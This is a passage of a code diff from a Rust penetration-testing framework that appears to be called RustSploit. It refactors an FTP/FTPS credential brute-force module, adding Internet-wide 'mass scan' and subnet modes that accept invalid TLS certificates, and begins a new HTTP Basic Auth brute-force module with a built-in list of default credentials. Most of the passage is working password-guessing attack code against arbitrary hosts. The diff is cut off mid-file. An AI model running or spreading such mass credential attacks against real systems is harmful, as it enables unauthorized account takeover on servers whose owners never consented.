println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ FTP Brute Force Module ║".cyan());
|
||||
crate::mprintln!("{}", "║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan());
|
||||
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port for display
|
||||
fn format_addr_for_display(target: &str, port: u16) -> String {
|
||||
/// Format IPv4 or IPv6 addresses with port for display.
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
if target.starts_with('[') && target.contains("]:") {
|
||||
target.to_string()
|
||||
} else if target.matches(':').count() == 1 && !target.contains('[') {
|
||||
target.to_string()
|
||||
} else {
|
||||
let clean_target = if target.starts_with('[') && target.ends_with(']') {
|
||||
let clean = if target.starts_with('[') && target.ends_with(']') {
|
||||
&target[1..target.len() - 1]
|
||||
} else {
|
||||
target
|
||||
};
|
||||
if clean_target.contains(':') {
|
||||
format!("[{}]:{}", clean_target, port)
|
||||
if clean.contains(':') {
|
||||
format!("[{}]:{}", clean, port)
|
||||
} else {
|
||||
format!("{}:{}", clean_target, port)
|
||||
format!("{}:{}", clean, port)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("FTP Port", "21").await?;
|
||||
if let Ok(p) = input.parse() { break p }
|
||||
println!("Invalid port. Try again.");
|
||||
};
|
||||
let usernames_file = prompt_required("Username wordlist").await?;
|
||||
let passwords_file = prompt_required("Password wordlist").await?;
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "500").await?;
|
||||
if let Ok(n) = input.parse::<usize>() {
|
||||
if n > 0 { break n }
|
||||
}
|
||||
println!("Invalid number. Try again.");
|
||||
};
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
// Create a semaphore to limit concurrent network operations
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
let users = std::sync::Arc::new(users);
|
||||
let pass_lines = std::sync::Arc::new(pass_lines);
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true).await?;
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "FTP Bruteforce",
|
||||
default_port: 21,
|
||||
state_file: "ftp_brute_hose_state.log",
|
||||
default_output: "ftp_brute_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
}, move |ip: IpAddr, port: u16| {
|
||||
let users = users.clone();
|
||||
let pass_lines = pass_lines.clone();
|
||||
async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
let addr_str = format!("{}:{}", ip, port);
|
||||
for user in users.iter() {
|
||||
for pass in pass_lines.iter() {
|
||||
match try_ftp_login(&addr_str, &ip.to_string(), user, pass, false).await {
|
||||
Ok(true) => {
|
||||
let msg = format!("{}:{}:{}:{}", ip, port, user, pass);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => {
|
||||
let err = e.to_string().to_lowercase();
|
||||
if err.contains("refused") || err.contains("timeout") || err.contains("reset") {
|
||||
return None;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let port = cfg_prompt_port("port", "FTP Port", 21).await?;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "ftp_subnet_results.txt").await?;
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "ftp",
|
||||
source_module: "creds/generic/ftp_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_ftp_login(&addr, &ip.to_string(), &user, &pass, false).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
let et = FtpErrorType::classify_error(&e.to_string());
|
||||
LoginResult::Error { message: e.to_string(), retryable: et.is_retryable() }
|
||||
}
|
||||
}
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port = cfg_prompt_port("port", "FTP Port", 21).await?;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist file").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist file").await?;
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent tasks", 500, 1, 10000).await? as usize;
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "ftp_results.txt").await?)
|
||||
Some(cfg_prompt_output_file("output_file", "Output file", "ftp_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false).await?;
|
||||
|
||||
let display_addr = format_addr_for_display(target, port);
|
||||
let connect_addr = format_addr_for_display(target, port);
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let unknown = Arc::new(Mutex::new(Vec::<(String, String, String, String)>::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", display_addr);
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no("combo_mode", "Combination mode (user × pass)?", false).await?;
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
crate::mprintln!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} usernames", users.len()).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} usernames", users.len()).cyan());
|
||||
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if passes.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
crate::mprintln!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} passwords", passes.len()).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} passwords", passes.len()).cyan());
|
||||
|
||||
let total_attempts = if combo_mode { users.len() * passes.len() } else { passes.len() };
|
||||
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
|
||||
println!();
|
||||
let combos = generate_combos(&users, &passes, combo_mode);
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
if combo_mode {
|
||||
for user in &users {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
for pass in &passes {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
|
||||
let addr_clone = connect_addr.clone();
|
||||
let target_clone = target.to_string();
|
||||
let display_addr_clone = display_addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let unknown_clone = Arc::clone(&unknown);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
match try_ftp_login(&addr_clone, &target_clone, &user_clone, &pass_clone, verbose_flag).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", display_addr_clone, user_clone, pass_clone).green().bold());
|
||||
found_clone.lock().await.push((display_addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_on_success_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", display_addr_clone, user_clone, pass_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_attempt(false, true);
|
||||
let msg = e.to_string();
|
||||
{
|
||||
let mut unk = unknown_clone.lock().await;
|
||||
unk.push((
|
||||
display_addr_clone.clone(),
|
||||
user_clone.clone(),
|
||||
pass_clone.clone(),
|
||||
msg.clone(),
|
||||
));
|
||||
}
|
||||
if verbose_flag {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[?] {} -> {}:{} error/unknown: {}",
|
||||
display_addr_clone, user_clone, pass_clone, msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
}));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if !users.is_empty() {
|
||||
for (i, pass) in passes.iter().enumerate() {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
|
||||
|
||||
let addr_clone = connect_addr.clone();
|
||||
let target_clone = target.to_string();
|
||||
let display_addr_clone = display_addr.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let unknown_clone = Arc::clone(&unknown);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
match try_ftp_login(&addr_clone, &target_clone, &user, &pass_clone, verbose_flag).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", display_addr_clone, user, pass_clone).green().bold());
|
||||
found_clone.lock().await.push((display_addr_clone.clone(), user.clone(), pass_clone.clone()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_on_success_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", display_addr_clone, user, pass_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_attempt(false, true);
|
||||
let msg = e.to_string();
|
||||
{
|
||||
let mut unk = unknown_clone.lock().await;
|
||||
unk.push((
|
||||
display_addr_clone.clone(),
|
||||
user.clone(),
|
||||
pass_clone.clone(),
|
||||
msg.clone(),
|
||||
));
|
||||
}
|
||||
if verbose_flag {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[?] {} -> {}:{} error/unknown: {}",
|
||||
display_addr_clone, user, pass_clone, msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] Task error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} {} -> {}:{}", "✓".green(), host, user, pass);
|
||||
}
|
||||
if let Some(path) = save_path {
|
||||
let file_path = get_filename_in_current_dir(&path);
|
||||
match File::create(&file_path) {
|
||||
Ok(mut file) => {
|
||||
for (host, user, pass) in creds.iter() {
|
||||
if writeln!(file, "{} -> {}:{}", host, user, pass).is_err() {
|
||||
eprintln!("[!] Error writing to result file '{}'", file_path.display());
|
||||
break;
|
||||
}
|
||||
}
|
||||
println!("[+] Results saved to '{}'", file_path.display());
|
||||
}
|
||||
// Capture verbose in the closure for try_ftp_login
|
||||
let target_owned = target.to_string();
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let addr = format_addr(&t, p);
|
||||
let verbose_flag = verbose;
|
||||
async move {
|
||||
match try_ftp_login(&addr, &t, &user, &pass, verbose_flag).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Could not create or write to result file '{}': {}", file_path.display(), e);
|
||||
let et = FtpErrorType::classify_error(&e.to_string());
|
||||
LoginResult::Error { message: e.to_string(), retryable: et.is_retryable() }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
drop(creds);
|
||||
let result = run_bruteforce(&BruteforceConfig {
|
||||
target: target_owned,
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries: 3,
|
||||
service_name: "ftp",
|
||||
source_module: "creds/generic/ftp_bruteforce",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
// Unknown / errored attempts
|
||||
let unknown_guard = unknown.lock().await;
|
||||
if !unknown_guard.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored FTP responses.",
|
||||
unknown_guard.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if prompt_yes_no("Save unknown responses to file?", true).await? {
|
||||
let default_name = "ftp_unknown_responses.txt";
|
||||
let prompt_msg = format!(
|
||||
"What should the unknown results be saved as? (default: {})",
|
||||
default_name
|
||||
);
|
||||
let fname = prompt_default(&prompt_msg, default_name).await?;
|
||||
let file_path = get_filename_in_current_dir(&fname);
|
||||
match File::create(&file_path) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# FTP Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in unknown_guard.iter() {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
println!("[+] Unknown responses saved to '{}'", file_path.display());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!(
|
||||
"[!] Could not create or write unknown response file '{}': {}",
|
||||
file_path.display(),
|
||||
e
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
result.print_found();
|
||||
if let Some(path) = save_path {
|
||||
result.save_to_file(&path)?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Try login using address string and fallback to FTPS if needed
|
||||
async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
|
||||
// Attempt 1: Plain FTP
|
||||
if verbose {
|
||||
println!("[i] Connecting to {} (plain FTP)", addr);
|
||||
}
|
||||
|
||||
/// Try FTP login with FTPS fallback when TLS is required.
|
||||
async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, _verbose: bool) -> Result<bool> {
|
||||
// Attempt plain FTP
|
||||
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(addr)).await {
|
||||
Ok(Ok(mut ftp)) => {
|
||||
match ftp.login(user, pass).await {
|
||||
@@ -429,103 +280,39 @@ async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
match FtpErrorType::classify_error(&msg) {
|
||||
FtpErrorType::AuthenticationFailed => {
|
||||
return Ok(false);
|
||||
}
|
||||
FtpErrorType::TlsRequired => {
|
||||
if verbose { println!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr); }
|
||||
}
|
||||
FtpErrorType::AuthenticationFailed => return Ok(false),
|
||||
FtpErrorType::TlsRequired => { let _ = ftp.quit().await; }
|
||||
FtpErrorType::ConnectionLimitExceeded => {
|
||||
println!("[-] {} - Server reported too many connections. Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
sleep(Duration::from_secs(1)).await;
|
||||
return Ok(false);
|
||||
}
|
||||
_ => {
|
||||
if verbose {
|
||||
println!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
return Err(anyhow!("FTP login error: {}", msg));
|
||||
}
|
||||
_ => return Err(anyhow!("FTP login error: {}", msg)),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
let msg = e.to_string();
|
||||
match FtpErrorType::classify_error(&msg) {
|
||||
FtpErrorType::TlsRequired => {
|
||||
if verbose { println!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr); }
|
||||
}
|
||||
FtpErrorType::ConnectionLimitExceeded => {
|
||||
println!("[-] {} - Server reported too many connections during connect. Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
}
|
||||
FtpErrorType::ConnectionFailed => {
|
||||
if verbose {
|
||||
println!("[!] FTP connection failed to {} ({}:{}): {}", addr, user, pass, msg);
|
||||
}
|
||||
return Err(anyhow!("FTP connection failed: {}", msg));
|
||||
}
|
||||
_ => {
|
||||
if verbose {
|
||||
println!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
return Err(anyhow!("FTP connection error: {}", msg));
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(_) => {
|
||||
if verbose {
|
||||
println!("[!] FTP connection timeout to {} ({}:{})", addr, user, pass);
|
||||
}
|
||||
return Err(anyhow!("FTP connection timeout"));
|
||||
}
|
||||
Ok(Err(e)) => return Err(e.into()),
|
||||
Err(_) => return Err(anyhow!("Timeout")),
|
||||
}
|
||||
|
||||
// FTPS fallback: connect and upgrade to TLS
|
||||
if verbose {
|
||||
println!("[i] {} Attempting FTPS login for user '{}'", addr, user);
|
||||
}
|
||||
// FTPS fallback
|
||||
let mut ftp_tls = match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncNativeTlsFtpStream::connect(addr)).await {
|
||||
Ok(Ok(s)) => s,
|
||||
_ => return Err(anyhow!("FTPS Connect failed")),
|
||||
};
|
||||
|
||||
let mut ftp_tls = timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncNativeTlsFtpStream::connect(addr))
|
||||
.await
|
||||
.map_err(|_| {
|
||||
if verbose {
|
||||
println!("[!] FTPS connection timeout to {} ({}:{})", addr, user, pass);
|
||||
}
|
||||
anyhow!("FTPS connection timeout")
|
||||
})?
|
||||
.map_err(|e| {
|
||||
if verbose {
|
||||
println!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
|
||||
}
|
||||
anyhow!("FTPS base connect failed: {}", e)
|
||||
})?;
|
||||
|
||||
// Build a connector that accepts invalid certs/hostnames (as original code did)
|
||||
let connector = AsyncNativeTlsConnector::from(
|
||||
TlsConnector::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true),
|
||||
);
|
||||
|
||||
// Domain for TLS: extract clean hostname without brackets (IPv6) or port
|
||||
let domain = target
|
||||
.trim_start_matches('[')
|
||||
.split(&[']', ':'][..])
|
||||
.next()
|
||||
.unwrap_or(target);
|
||||
let domain = target.trim_start_matches('[').split(&[']', ':'][..]).next().unwrap_or(target);
|
||||
|
||||
ftp_tls = ftp_tls
|
||||
.into_secure(connector, domain)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
if verbose {
|
||||
println!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
|
||||
}
|
||||
anyhow!("TLS upgrade failed: {}", e)
|
||||
})?;
|
||||
ftp_tls = match ftp_tls.into_secure(connector, domain).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return Err(anyhow!("TLS Upgrade: {}", e)),
|
||||
};
|
||||
|
||||
match ftp_tls.login(user, pass).await {
|
||||
Ok(_) => {
|
||||
@@ -533,15 +320,9 @@ async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose
|
||||
Ok(true)
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
match FtpErrorType::classify_error(&msg) {
|
||||
match FtpErrorType::classify_error(&e.to_string()) {
|
||||
FtpErrorType::AuthenticationFailed => Ok(false),
|
||||
_ => {
|
||||
if verbose {
|
||||
println!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
Err(anyhow!("FTPS error: {}", msg))
|
||||
}
|
||||
_ => Err(anyhow!("FTPS Error: {}", e)),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,481 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::io::Write;
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{
|
||||
load_lines, get_filename_in_current_dir, normalize_target,
|
||||
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
cfg_prompt_output_file,
|
||||
};
|
||||
use crate::modules::creds::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos, run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const DEFAULT_HTTP_PORT: u16 = 80;
|
||||
const DEFAULT_HTTPS_PORT: u16 = 443;
|
||||
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("admin", "1234"),
|
||||
("admin", "12345"),
|
||||
("admin", "123456"),
|
||||
("admin", ""),
|
||||
("root", "root"),
|
||||
("root", "password"),
|
||||
("root", "toor"),
|
||||
("root", ""),
|
||||
("user", "user"),
|
||||
("user", "password"),
|
||||
("test", "test"),
|
||||
("guest", "guest"),
|
||||
("manager", "manager"),
|
||||
];
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "HTTP Basic Auth Brute Force".to_string(),
|
||||
description: "Brute-force HTTP Basic Authentication using username/password wordlists. \
|
||||
Supports HTTPS with invalid certificate acceptance, default credential testing, \
|
||||
combo mode, concurrent connections, and subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Error Classification
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
enum HttpErrorType {
|
||||
AuthenticationFailed,
|
||||
ConnectionRefused,
|
||||
ConnectionTimeout,
|
||||
TlsError,
|
||||
Unknown,
|
||||
}
|
||||
|
||||
impl HttpErrorType {
|
||||
fn classify_error(msg: &str) -> Self {
|
||||
let lower = msg.to_lowercase();
|
||||
if lower.contains("401") || lower.contains("403") || lower.contains("unauthorized") {
|
||||
Self::AuthenticationFailed
|
||||
} else if lower.contains("refused")
|
||||
|| lower.contains("reset")
|
||||
|| lower.contains("broken pipe")
|
||||
{
|
||||
Self::ConnectionRefused
|
||||
} else if lower.contains("timeout")
|
||||
|| lower.contains("timed out")
|
||||
|| lower.contains("deadline")
|
||||
{
|
||||
Self::ConnectionTimeout
|
||||
} else if lower.contains("tls")
|
||||
|| lower.contains("ssl")
|
||||
|| lower.contains("certificate")
|
||||
|| lower.contains("handshake")
|
||||
{
|
||||
Self::TlsError
|
||||
} else {
|
||||
Self::Unknown
|
||||
}
|
||||
}
|
||||
|
||||
fn is_retryable(&self) -> bool {
|
||||
matches!(self, Self::ConnectionRefused | Self::ConnectionTimeout | Self::Unknown)
|
||||
}
|
||||
|
||||
fn description(&self) -> &'static str {
|
||||
match self {
|
||||
Self::AuthenticationFailed => "Authentication failed",
|
||||
Self::ConnectionRefused => "Connection refused/reset",
|
||||
Self::ConnectionTimeout => "Connection timed out",
|
||||
Self::TlsError => "TLS/SSL error",
|
||||
Self::Unknown => "Unknown error",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct HttpError {
|
||||
error_type: HttpErrorType,
|
||||
message: String,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for HttpError {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
write!(f, "[{}] {}", self.error_type.description(), self.message)
|
||||
}
|
||||
}
|
||||
|
||||
impl std::error::Error for HttpError {}
|
||||
|
||||
impl HttpError {
|
||||
fn from_string(msg: String) -> Self {
|
||||
let error_type = HttpErrorType::classify_error(&msg);
|
||||
Self { error_type, message: msg }
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Module Entry Point
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("\n{}", "=== HTTP Basic Auth Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let use_https = cfg_prompt_yes_no("use_https", "Use HTTPS?", false).await?;
|
||||
let url_path = cfg_prompt_default("url_path", "URL path to test", "/").await?;
|
||||
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "HTTP-Basic",
|
||||
default_port: if use_https { DEFAULT_HTTPS_PORT } else { DEFAULT_HTTP_PORT },
|
||||
